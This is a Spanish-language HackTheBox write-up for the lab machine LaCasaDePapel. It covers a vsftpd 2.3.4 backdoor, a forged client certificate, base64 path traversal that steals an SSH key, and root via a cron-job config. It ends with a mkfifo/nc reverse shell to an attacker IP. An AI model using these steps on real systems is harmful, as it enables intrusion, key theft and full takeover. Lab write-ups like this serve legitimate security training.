Volver atras HTB_LaCasaDePapel | Savinotes

HTB_LaCasaDePapel

La Casa de Papel {-}

Introduccion {-}

La maquina del dia se llama LaCasaDePapel.

El replay del live se puede ver aqui

S4vitaar Sauna maquina

No olvideis dejar un like al video y un commentario…

Enumeracion {-}

Reconocimiento de maquina, puertos abiertos y servicios {-}

Ping {-}

ping -c 1 10.10.10.131

ttl: 63 -> maquina Linux

Nmap {-}

nmap -p- --open -T5 -v -n 10.10.10.131

Va lento

nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.131 -oG allPorts 
extractPorts allPorts
nmap -sC -sV -p21,22,80,443 10.10.10.131 -oN targeted
PuertoServicioQue se nos occure?Que falta?
21ftpanonymous
22sshConeccion directa
80httpWeb Fuzzing
443httpsWeb Fuzzing

Ya aqui podemos ver en el commonName del certificado ssl

 lacasadepapel.htb 

que añadimos al

 /etc/hosts 

Coneccion Anonoymous con ftp {-}

ftp 10.10.10.131

Name: anonymous
Password: 

530 Login incorrect.

No nos podemos conectar con el usuario anonymous, Pero podemos ver que el servicio es un vsFTPd 2.3.4 que ya sabemos que existe un exploit

searchsploit vsftpd 2.3.4

#Output
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)

Analyzando la web {-}

Whatweb {-}

whatweb http://10.10.10.131

No vemos nada interesante aqui.

Checkear la web {-}

Si entramos en la url

 http://10.10.10.131 

, El wappalizer no nos muestra nada. Si entramos con el dominio

 http://lacasadepapel.htb 

vemos lo mismo. Intentamos por https

 https://lacasadepapel.htb 

y aqui la cosa cambia. Tenemos un mensaje que dice que tenemos que proporcionar un certificado cliente para ver mas cosas. Pero aqui necessitamos tener mas informaciones.

Vulnerability Assessment {-}

vsftpd 2.3.4 {-}

Como ya sabemos que esta version es vulnerable, buscando por internet o analyzando el exploit de Metasploit vemos que la vulnerabilidad reside en poner una sonrisita

 :) 

al final del nombre de usuario y esto hace que se habre el puerto 6200 de la maquina.

nc 10.10.10.131 6200

#Output
Ncat: Connection refused.

telnet 10.10.10.131 21
USER s4vitar:)
PASS setenso

se queda bloqueado, podemos cerrar la ventana y con nc intentamos nuevamente la coneccion al puerto 6200.

nc 10.10.10.131 6200

Intentamos enviar commandos

whoami
#Error PHP Warning: Use of undefined constant whoami - assumed 'whoami' (this will throw an Error in a future version of PHP)

Intentamos commandos PHP

exec("whoami")
#error
shell_exec("whoami")
#error
passthru("whoami")
#error
system("whoami")
#error
help
#Output
help
ls
dump
doc
show
wtf
...

Vemos cosas intentamos con ls ver las variables classes funcciones y mas

ls
#Output
$tokyo

Miramos el contenido con show

show $tokyo
#output
class Tokyo {
    private function sign($caCert, $userCsr){
        ...
    }
}

Aqui vemos la class Tokyo con su funccion private. Podemos ver que en el directorio

 /home/nairobi/ca.key 

hay una key. Como este servicio esta en php, miramos si podemos listar contenido de ficheros con las fucciones php

 file_get_contents() 

,

 scandir() 

o

 readfile() 
file_get_contents("/etc/passwd")

Y podemos ver el

 /etc/passwd 

, miramos si podemos ver la key del usuario nairobi.

miramos si encontramos id_rsa

scandir("/")
scandir("/home")
scandir("/home/berlin/.ssh")
scandir("/home/nairobi/.ssh")
scandir("/home/oslo/.ssh")
scandir("/home/dali/.ssh")
scandir("/home/professor/.ssh")

No encontramos nada. Miramos el contenido del fichero key.

readfile("/home/nairobi/ca.key")

Ahora que tenemos la key podemos crear un certificado de cliente valido.

Creamos un certificado de cliente valido {-}

  1. Tenemos que recuperar el certificado del servidor

     openssl s_client -connect 10.10.10.131:443
     openssl s_client -connect 10.10.10.131:443 | openssl x509
     openssl s_client -connect 10.10.10.131:443 | openssl x509 > ca.cer
  2. Copiamos el contenido del ca.key en un fichero ca.key

    • Aqui tenemos 2 ficheros el ca.key y el ca.cer
  3. Con openssl creamos un private key

    openssl genrsa -out client.key 4096
  4. Creamos un .req

    openssl req -new -key client.key -out client.req

    en commonName ponemos lacasadepapel.htb en el resto le damos al enter.

  5. Firmamos el certificado

    openssl x509 -req -in client.req -set_serial 123 -CA ca.cer -CAkey ca.key -days 365 -extensions client -outform PEM -out client.cer

    Aqui ya tenemos un certificado cliente valido. Pero ahora tenemos que convertirlo en un

 .p12 

para que los navegadores los accepten.

  1. Conversion en certificado pkcs12 para navegadores

    openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
    chmod 777 client.p12

Aqui ya podemos añadir a firefox el certificado firmado. En firefox vamos a

 ajustes 

y buscamos por

 cert 

. Damos a

 Ver certificado 

y en el menu

 Sus certificados 

le podemos dar a

 importar 

. Importamos el

 client.p12 

y le damos a acceptar.

Si recargamos la pagina

 https://lacasadepapel.htb 

y acceptamos el certificado, ya podemos ver que el contenido a cambiado y un private arena es visible.

Pathtraversal con base64 {-}

Aqui vemos dos Seasons y si le damos a una vemos unos ficheros

 .avi 

y haciendo hovering bemos que los nombres son en base64. Lo comprobamos con un fichero.

echo 'U0VBU09OLTEvMDMuYXZp' | base64 -d;echo
#Output
SEASON-1/03.avi

En la url vemos que tenemos algo como

 https://lacasadepapel.htb/?path=SEASON-1 

. Miramos lo que pasa si le damos a

 https://lacasadepapel.htb/?path=/etc/passwd 

y salta un error como no existe el path en

 /home/berlin/download//etc/passwd 

y que usa la funccion scandir para esto. Ya pensamos en un path traversal, pero como es un scandir solo podemos ir a por directorios.

https://lacasadepapel.htb/?path=../

aqui vemos el user.txt.

echo -n '../user.txt' | base64
#Output
Li4vdXNlci50eHQ=

y si vamos ahora a la url

 https://lacasadepapel.htb/file/Li4vdXNlci50eHQ= 

vemos que podemos descargar el user.txt. Pero a nosotros nos interessa ganar accesso al systema.

En la url

 https://lacasadepapel.htb/?path=../ 

vemos que podemos pinchar al directorio

 .ssh 

y a dentro hay una

 id_rsa 

. Hacemos lo mismos que con el user.txt

Vuln exploit & Gaining Access {-}

SSH {-}

echo -n '../.ssh/id_rsa' | base64
#Output
Li4vLnNzaC9pZF9yc2E=

y con la url

 https://lacasadepapel.htb/file/Li4vLnNzaC9pZF9yc2E= 

descargamos el fichero id_rsa.

mv /home/s4vitar/Descargas/firefox/id_rsa .
chmod 600 id_rsa
ssh -i id_rsa berlin@10.10.10.131

como no va intentamos con los otros usuarios.

ssh -i id_rsa berlin@10.10.10.131
ssh -i id_rsa dali@10.10.10.131
ssh -i id_rsa nairobi@10.10.10.131
ssh -i id_rsa oslo@10.10.10.131
ssh -i id_rsa professor@10.10.10.131

Hemos ganado accesso al systema como el usuario professor.

Privilege Escalation {-}

Rootear la maquina {-}

whoami
ls
pwd
find / -name user.txt
cd /home/berlin/user.txt

Aqui vemos que el user.txt solo se puede ver desde la web.

uname -a
lsb_release
cat /etc/os-release
id
sudo -l
cd /
find \-perm -4000 2>/dev/null

aqui vemos binarios SUID. comprobamos con gtfobins si se pueden burlar.

buscamos por bbsuid, abuild-sudo sudo pero no encontramos nada. Tenemos que mirar de CRON. Lo miramos con pspy.

git clone https://github.com/DominicBreuker/pspy
cd pspy
go build -ldflags "-s -w" main.go
upx main
mv main pspy
python3 -m http.server 80

Desde la maquina victima, downloadeamos el fichero y lo lanzamos

wget http://10.10.14.8/pspy
chmod +x pspy
./pspy

Podemos ver que hay una tarea ejecutada por root que lanza un

 sudo -u nobody /usr/bin/node /home/professor/memcached.js 

Si vamos al

 /home/professor 

vemos el fichero

 memcached.js 

pero no nos deja ver lo que hay dentro. Hay otro fichero

 memcached.ini 

que contiene el comando ejecutado durante la tarea cron.

Aqui el truco es que aun que el fichero no se puedo modificar, como esta en nuestra carpeta HOME, lo podemos borrar.

rm memcached.ini
vi memcached.ini


[program:memcached]
command = sudo -u root /tmp/pwn.sh

aqui creamos el pwn.sh

cd /tmp
touch pwn.sh
chmod +x pwn.sh
vi pwn.sh

#!/bin/bash

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.80 443 >/tmp/f

nos ponemos en escucha por el puerto 443

nc -nlvp 443

Esperamos un poco y ganamos acceso al systema como root y podemos leer la flag.